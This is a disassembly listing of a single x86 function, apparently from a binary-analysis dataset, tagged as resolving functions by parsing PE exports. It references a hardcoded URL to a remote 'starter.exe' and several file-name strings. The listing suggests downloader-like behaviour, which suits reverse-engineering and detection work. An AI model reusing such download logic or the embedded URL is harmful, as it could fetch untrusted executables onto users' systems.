Function at 0x407050
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4bf9cf
mov eax, dword fs:[0]
push eax
sub esp, 0xb28
mov eax, dword [0x4e51e0]
xor eax, esp
mov dword [esp + 0xb20], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4e51e0]
xor eax, esp
push eax
lea eax, [esp + 0xb3c]
mov dword fs:[0], eax
mov eax, dword [esp + 0xb4c]
push 0x2d
xor ebx, ebx
mov ebp, 7
push str.http:__pd.jrkhw.com_laozu_install_starter.exe
lea esi, [esp + 0x94]
mov dword [esp + 0x3c], eax
mov dword [esp + 0xac], ebp
mov dword [esp + 0xa8], ebx
mov word [esp + 0x98], bx
call fcn.00402270
push 0x7fe
lea ecx, [esp + 0x33a]
push ebx
mov dword [esp + 0xb4c], ebx
push ecx
mov word [esp + 0x340], bx
call fcn.0048ffc0
add esp, 0xc
lea esi, [esp + 0xa8]
call fcn.0041ec50
push 0xb
push str.RepairGame_
mov ecx, esi
mov byte [esp + 0xb4c], 1
call fcn.004021a0
lea eax, [esp + 0x8c]
lea ecx, [esp + 0x18]
call fcn.004293a0
mov edi, 8
mov byte [esp + 0xb44], 2
cmp dword [eax + 0x18], edi
jb 0x407134
mov edx, dword [eax + 4]
jmp 0x407137
lea edx, [eax + 4]
mov eax, edx
lea esi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x407140
sub eax, esi
sar eax, 1
push eax
push edx
lea ecx, [esp + 0xb0]
call fcn.004021a0
mov byte [esp + 0xb44], 1
cmp dword [esp + 0x30], edi
jb 0x407178
mov edx, dword [esp + 0x1c]
push edx
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0xc0], edi
mov ecx, dword [esp + 0xac]
jae 0x40718f
lea ecx, [esp + 0xac]
lea edx, [esp + 0x334]
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, bx
jne 0x407196
lea eax, [esp + 0x334]
mov dword [esp + 0x50], ebp
mov dword [esp + 0x4c], ebx
mov word [esp + 0x3c], bx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4071c0
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x338]
push eax
lea esi, [esp + 0x40]
call fcn.00402270
mov ecx, esi
lea edi, [esp + 0x118]
mov byte [esp + 0xb44], 3
call fcn.0041e510
mov edi, 8
mov byte [esp + 0xb44], 5
cmp dword [esp + 0x50], edi
jb 0x407217
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.0048a8f9
add esp, 4
lea eax, [esp + 0x334]
mov dword [esp + 0x50], ebp
mov dword [esp + 0x4c], ebx
mov word [esp + 0x3c], bx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], bx
lea edx, [eax + 2]
jmp 0x407240
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x407240
sub eax, edx
sar eax, 1
push eax
lea edx, [esp + 0x338]
push edx
lea esi, [esp + 0x20]
call fcn.00402270
mov eax, esi
lea ecx, [esp + 0xfc]
mov byte [esp + 0xb44], 6
call fcn.0041e4a0
mov byte [esp + 0xb44], 8
cmp dword [esp + 0x30], edi
jb 0x407292
mov eax, dword [esp + 0x1c]
push eax
call fcn.0048a8f9
add esp, 4
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x120]
lea ecx, [esp + 0x5c]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], ebx
mov word [esp + 0x24], bx
mov dword [esp + 0x74], ebp
mov dword [esp + 0x70], ebx
mov word [esp + 0x60], bx
call fcn.00403040
push ebx
lea ecx, [esp + 0x100]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0x5c]
mov byte [esp + 0xb4c], 9
call fcn.00402310
push 4
push str..son
mov ecx, esi
call fcn.004021a0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x120]
lea ecx, [esp + 0x78]
mov dword [esp + 0x90], ebp
mov dword [esp + 0x8c], ebx
mov word [esp + 0x7c], bx
call fcn.00403040
push ebx
lea edx, [esp + 0x100]
push edx
or eax, 0xffffffff
lea esi, [esp + 0x78]
mov byte [esp + 0xb4c], 0xa
call fcn.00402310
push 4
push str..sam
mov ecx, esi
call fcn.004021a0
cmp dword [esp + 0xa4], edi
mov edx, dword [esp + 0x90]
jae 0x407352
lea edx, [esp + 0x90]
mov eax, edx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], bx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x407364
sub eax, esi
sar eax, 1
push eax
push edx
lea esi, [esp + 0x20]
call fcn.00402270
mov eax, esi
push ebx
push eax
lea esi, [esp + 0xe8]
mov byte [esp + 0xb4c], 0xb
call fcn.0042c290
add esp, 8
mov byte [esp + 0xb44], 0xd
cmp dword [esp + 0x30], edi
jb 0x4073b4
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.0048a8f9
add esp, 4
push 0x1fe
lea edx, [esp + 0x13a]
push ebx
push edx
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x38], ebx
mov word [esp + 0x28], bx
mov word [esp + 0x140], bx
call fcn.0048ffc0
mov eax, dword [esp + 0xf0]
add esp, 0xc
cmp dword [esp + 0xf8], 0x10
jae 0x4073f7
lea eax, [esp + 0xe4]
lea ecx, [esp + 0x134]
push ecx
mov ecx, dword [esp + 0xf8]
push eax
call fcn.0042d2b0
lea eax, [esp + 0x13c]
add esp, 8
mov dword [esp + 0xdc], ebp
mov dword [esp + 0xd8], ebx
mov word [esp + 0xc8], bx
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x407430
sub eax, edx
sar eax, 1
push eax
lea edx, [esp + 0x138]
push edx
lea esi, [esp + 0xcc]
call fcn.00402270
mov byte [esp + 0xb44], 0xe
lea eax, [esp + 0x334]
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], bx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x407473
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x338]
push eax
lea esi, [esp + 0x20]
call fcn.00402270
mov ecx, dword [esp + 0x34]
mov byte [esp + 0xb44], 0xf
mov eax, dword [ecx + 0x40]
cmp eax, ebx
je 0x4074af
mov edx, dword [eax + 0x10]
mov eax, dword [edx + 4]
jmp 0x4074b1
xor eax, eax
lea edx, [esp + 0xc4]
push edx
lea edx, [esp + 0x74]
push edx
lea edx, [esp + 0x5c]
push edx
lea edx, [esp + 0x24]
push edx
add ecx, 0x278
push eax
push ecx
lea ecx, [esp + 0x114]
lea edx, [esp + 0xa4]
call fcn.00452340
cmp dword [esp + 0x30], edi
jb 0x4074f6
mov eax, dword [esp + 0x1c]
push eax
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0xdc], edi
jb 0x40750f
mov ecx, dword [esp + 0xc8]
push ecx
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0xf8], 0x10
mov dword [esp + 0xdc], ebp
mov dword [esp + 0xd8], ebx
mov word [esp + 0xc8], bx
jb 0x40753f
mov edx, dword [esp + 0xe4]
push edx
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0x88], edi
mov dword [esp + 0xf8], 0xf
mov dword [esp + 0xf4], ebx
mov byte [esp + 0xe4], bl
jb 0x40756e
mov eax, dword [esp + 0x74]
push eax
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0x6c], edi
mov dword [esp + 0x88], ebp
mov dword [esp + 0x84], ebx
mov word [esp + 0x74], bx
jb 0x407594
mov ecx, dword [esp + 0x58]
push ecx
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0x114], edi
mov dword [esp + 0x6c], ebp
mov dword [esp + 0x68], ebx
mov word [esp + 0x58], bx
jb 0x4075ba
mov edx, dword [esp + 0x100]
push edx
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0x130], edi
mov dword [esp + 0x114], ebp
mov dword [esp + 0x110], ebx
mov word [esp + 0x100], bx
jb 0x4075e9
mov eax, dword [esp + 0x11c]
push eax
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0xc0], edi
mov dword [esp + 0x130], ebp
mov dword [esp + 0x12c], ebx
mov word [esp + 0x11c], bx
jb 0x407618
mov ecx, dword [esp + 0xac]
push ecx
call fcn.0048a8f9
add esp, 4
cmp dword [esp + 0xa4], edi
mov dword [esp + 0xc0], ebp
mov dword [esp + 0xbc], ebx
mov word [esp + 0xac], bx
jb 0x407647
mov edx, dword [esp + 0x90]
push edx
call fcn.0048a8f9
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0xb3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xb20]
xor ecx, esp
call fcn.0048a8fe
add esp, 0xb34
ret 4